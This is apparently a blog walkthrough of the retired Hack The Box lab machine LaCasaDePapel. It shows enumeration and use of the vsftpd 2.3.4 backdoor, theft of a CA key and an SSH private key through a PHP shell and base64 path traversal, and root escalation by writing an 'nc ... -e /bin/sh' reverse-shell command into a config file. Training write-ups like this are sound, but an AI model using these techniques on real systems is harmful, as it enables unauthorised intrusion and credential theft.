Those Are The Guys!

Two guys who do stuff on twitch: /thosearetheguys

View on GitHub
28 July 2019

Htb Lacasadepapel

by jake

This week we are taking a look at the retired Hack The Box machine LaCasaDePapel (Easy-Medium difficulty)

Starting off with out nmap enumeration:

root@kali: nmap -sC -sV -oN nmap
Starting Nmap 7.70 ( ) at 2019-06-23 11:30 AEST
Nmap scan report for
Host is up (0.24s latency).
Not shown: 996 closed ports
21/tcp  open  ftp      vsftpd 2.3.4
22/tcp  open  ssh      OpenSSH 7.9 (protocol 2.0)
| ssh-hostkey: 
|   2048 03:e1:c2:c9:79:1c:a6:6b:51:34:8d:7a:c3:c7:c8:50 (RSA)
|   256 41:e4:95:a3:39:0b:25:f9:da:de:be:6a:dc:59:48:6d (ECDSA)
|_  256 30:0b:c6:66:2b:8f:5e:4f:26:28:75:0e:f5:b1:71:e4 (ED25519)
80/tcp  open  http     Node.js (Express middleware)
|_http-title: La Casa De Papel
443/tcp open  ssl/http Node.js Express framework
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
|_http-title: La Casa De Papel
| ssl-cert: Subject: commonName=lacasadepapel.htb/organizationName=La Casa De Papel
| Not valid before: 2019-01-27T08:35:30
|_Not valid after:  2029-01-24T08:35:30
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
| tls-nextprotoneg: 
|   http/1.1
|_  http/1.0
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 40.00 seconds

So it looks like we have a couple of interesting starting points… FTP and a Node.js Express website on both 80 and 443.

Starting with FTP we try to connect anonymously to see what happens:

root@kali: ftp
Connected to
220 (vsFTPd 2.3.4)
Name ( anonymous
331 Please specify the password.
530 Login incorrect.
Login failed.

Damn. No anonymous access, but we don’t usually get such a detailed banner. So we head on over to searchsploit to see if there are any exploits:

root@kali: searchsploit vsftpd  
---------------------------------------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                                                            |  Path
                                                                                                          | (/usr/share/exploitdb/)
---------------------------------------------------------------------------------------------------------- ----------------------------------------
vsftpd 2.0.5 - 'CWD' (Authenticated) Remote Memory Consumption                                            | exploits/linux/dos/
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (1)                                            | exploits/windows/dos/
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (2)                                            | exploits/windows/dos/
vsftpd 2.3.2 - Denial of Service                                                                          | exploits/linux/dos/16270.c
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)                                                    | exploits/unix/remote/17491.rb
---------------------------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
Papers: No Result

2.3.4 is our target and we can see that there is a metasploit module for a backdoor command execution vulnerability. Reading through the metasploit module we see that a backdoor was introduced to this version and can be quite easily exploited:

Looking at the pastebin link included in the above article we see on lines 37 and 38 that if something ends with the characters 0x3a followed by 0x29 then the function vsf_sysutil_extra() is called. Down on line 76 this function appears to open a /bin/sh reverse shell on port 6200. These two characters translate into a smiley face :)

So we go back to ftp and this time add a smiley face to the end of both our username and password and see what happens.

We see that when we enter the password :) it appears to hang, but if we go to a new terminal window and connect on port 6200 we get a shell!

root@kali: telnet 6200
Connected to
Escape character is '^]'.
Psy Shell v0.9.9 (PHP 7.2.10 — cli) by Justin Hileman

We try to figure out who we are with the whoami command, but it looks like we are not in a /bin/sh shell after all:

PHP Warning:  Use of undefined constant whoami - assumed 'whoami' (this will throw an Error in a future version of PHP) in phar://eval()'d code on line 1

Researching what Psy Shell is we find that it is an interactive PHP shell intended to be used by developers. Reading the usage documentation on the github page ( ) we see that there should be a help command that might show us what we can do.

  help       Show a list of commands. Type `help [foo]` for information about [foo].      Aliases: ?                     
  ls         List local, instance or class variables, methods and constants.              Aliases: list, dir             
  dump       Dump an object or primitive.                                                                                
  doc        Read the documentation for an object, class, constant, method or property.   Aliases: rtfm, man             
  show       Show the code for an object, class, constant, method or property.                                           
  wtf        Show the backtrace of the most recent exception.                             Aliases: last-exception, wtf?  
  whereami   Show where you are in the code.                                                                             
  throw-up   Throw an exception or error out of the Psy Shell.                                                           
  timeit     Profiles with a timer.                                                                                      
  trace      Show the current call stack.                                                                                
  buffer     Show (or clear) the contents of the code input buffer.                       Aliases: buf                   
  clear      Clear the Psy Shell screen.                                                                                 
  edit       Open an external editor. Afterwards, get produced code in input buffer.                                     
  sudo       Evaluate PHP code, bypassing visibility restrictions.                                                       
  history    Show the Psy Shell history.                                                  Aliases: hist                  
  exit       End the current session and return to caller.                                Aliases: quit, q            

sudo immediately stands out, but unfortunately it does not work:

sudo $thoseguys = file_get_contents("/root/root.txt");            
PHP Warning:  file_get_contents(/root/root.txt): failed to open stream: Permission denied in phar://eval()'d code on line 1

It doesn’t look like history works either. Trying ls does return something though:

Variables: $tokyo

Help tells us that we can use the show command to see what the value of that variable is:

show tokyo
  > 2| class Tokyo {
    3| 	private function sign($caCert,$userCsr) {
    4| 		$caKey = file_get_contents('/home/nairobi/ca.key');
    5| 		$userCert = openssl_csr_sign($userCsr, $caCert, $caKey, 365, ['digest_alg'=>'sha256']);
    6| 		openssl_x509_export($userCert, $userCertOut);
    7| 		return $userCertOut;
    8| 	}
    9| }

Looks like it is pulling a ca key and generating a certificate for something. Lets use this opportunity to pull that key down.

=> """
   -----BEGIN PRIVATE KEY-----\n
   -----END PRIVATE KEY-----\n

Cleaning up the new line characters we have something that might come in handy later.

continuing our enumeration we can use some PHP functions to enumerate the file system, such as file_get_contents we have already used and scandir which works similar to bash ls

=> [

=> [
PHP Warning:  file_get_contents(/home/berlin/user.txt): failed to open stream: Permission denied in phar://eval()'d code on line 1

Looks like berlin is who we want to become to get the user.txt flag, and chance are from looking at their home directory that they are the user running the nodejs express application. We look through all the other user directories and cannot access any other files or directories of interest.

Finally it’s time to look at the website:


We have a QR code that looks like it is a Google Authenticator code

When we look at the source ode we see a hidden field with a secret in it..


The code for the QR code says that the algorithm is SHA1 and if we navigate to the QR code directly we can see that changing the value of the hash will also change the QR code returned.

Heading over to see if the 443 site is different we do get a hint:


Looks like that ca.key will come in handy after all. Time to generate our own client certificate signed by the ca.key.

Firefox can only import PKCS12 certs, so we use openssl to generate one.

root@kali: openssl req -new -x509 -days 365 -key ca.key -out thoseguys.pem
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:
Email Address []:

Then export the certificate as PKCS12 for Firefox.

root@kali: openssl pkcs12 -export -out thoseguys.p12 -in thoseguys.pem -inkey ca.key
Enter Export Password:
Verifying - Enter Export Password:

Now we can head on over to Firefox and under Preferences > Certificates > Import we select our p12 file and import it. Because we added an exception to the site the first time we tried to access it over HTTPS we need to remove that exception now, as we have a trusted certificate imported.


We then get a prompt to identify ourselves using a certificate, clicking OK gets us into the site.


Looks like we get a private site with some tv show seasons to select from. Selecting any season brings us to a page with some avi files that can be downloaded. Looking at the URLS we see that for the season list we have and for a file we have something like

The path qouery parameter is suspicious as is the part after the file/. Starting with the path we can see that we do have a query manipulation vulnerability that leads to directory traversal.


But this will not let us access the contents of a file. We see that the path variable is used in the same scandir() function we were using earlier:


Time to look at the file. As we commonly see with CTFs and web applications a lot of the time text is encoded with base64 to ensure that the message is not misinterpreted weirdly if it has any special characters. To confirm this we run a basic test:

root@kali: echo -n 'U0VBU09OLTEvMDEuYXZp' | base64 -d

That is exactly what we were hoping for. the file path is being base64 encoded. We know where the user.txt is so lets see if we can read it.

root@kali: echo -n '../user.txt' | base64            

add that to the URL and see if we are prompted to download the user.txt file:


Nice! But we need a better way into the box. Using our directory traversal exploit we see in the ../.ssh directory that we no only have an authorized_keys file, but also have the private and public keys. Time to download the private key and ssh in as the berlin user.

root@kali: echo -n '../.ssh/id_rsa' | base64
[Go to firefox and download the file]
root@kali: chmod 600 id_rsa
root@kali: ssh -i id_rsa berlin@
berlin@'s password:

Hmmm… looks like it might not be the berlin users ssh key, so we try them all and eventually get in with the professor user.

root@kali: ssh -i id_rsa professor@

 _             ____                  ____         ____                  _ 
| |    __ _   / ___|__ _ ___  __ _  |  _ \  ___  |  _ \ __ _ _ __   ___| |
| |   / _` | | |   / _` / __|/ _` | | | | |/ _ \ | |_) / _` | '_ \ / _ \ |
| |__| (_| | | |__| (_| \__ \ (_| | | |_| |  __/ |  __/ (_| | |_) |  __/ |
|_____\__,_|  \____\__,_|___/\__,_| |____/ \___| |_|   \__,_| .__/ \___|_|

lacasadepapel [~]$ 

We see in the professors home folder that there is some memcached files:

lacasadepapel [~]$ ls -la
total 24
drwxr-sr-x    4 professo professo      4096 Mar  6 20:56 .
drwxr-xr-x    7 root     root          4096 Feb 16 18:06 ..
lrwxrwxrwx    1 root     professo         9 Nov  6  2018 .ash_history -> /dev/null
drwx------    2 professo professo      4096 Jan 31 21:36 .ssh
-rw-r--r--    1 root     root            88 Jan 29 01:25 memcached.ini
-rw-r-----    1 root     nobody         434 Jan 29 01:24 memcached.js
drwxr-sr-x    9 root     professo      4096 Jan 29 01:31 node_modules
lacasadepapel [~]$

and ps confirms that it is running and netstat suggests it could be listening on sudo -l gives us nothing as we need the professors password. but the memcache.ini file gives us something to look at:

lacasadepapel [~]$ cat memcached.ini 
command = sudo -u nobody /usr/bin/node /home/professor/memcached.js

It looks like whatever is in the command variable is executed as a bash command as root. We cannot edit the file directly, but this is our users home directory.. so we have full permissions to delete and create a new one.

Figuring out what reverse shell might be the easiest we can see that the machine has nc installed and testing a reverse shell with the professor user we can see what we are able to get a shell as professor with the -e flag, so we should be able to translate that into the file to have it run as root.

lacasadepapel [~]$ rm memcached.ini
lacasadepapel [~]$ echo '[program:memcached]
command = /usr/bin/nc 1337 -e /bin/sh' > memcached.ini

Set up a nc listener on port 1337 and wait for the cron to run. Eventually we get a reverse shell as root.

root@kali: nc -nlvp 1337
Listening on [] (family 2, port 1337)
Connection from 38785 received!
cat /root/root.txt
tags: htb - walkthrough - lacasadepapel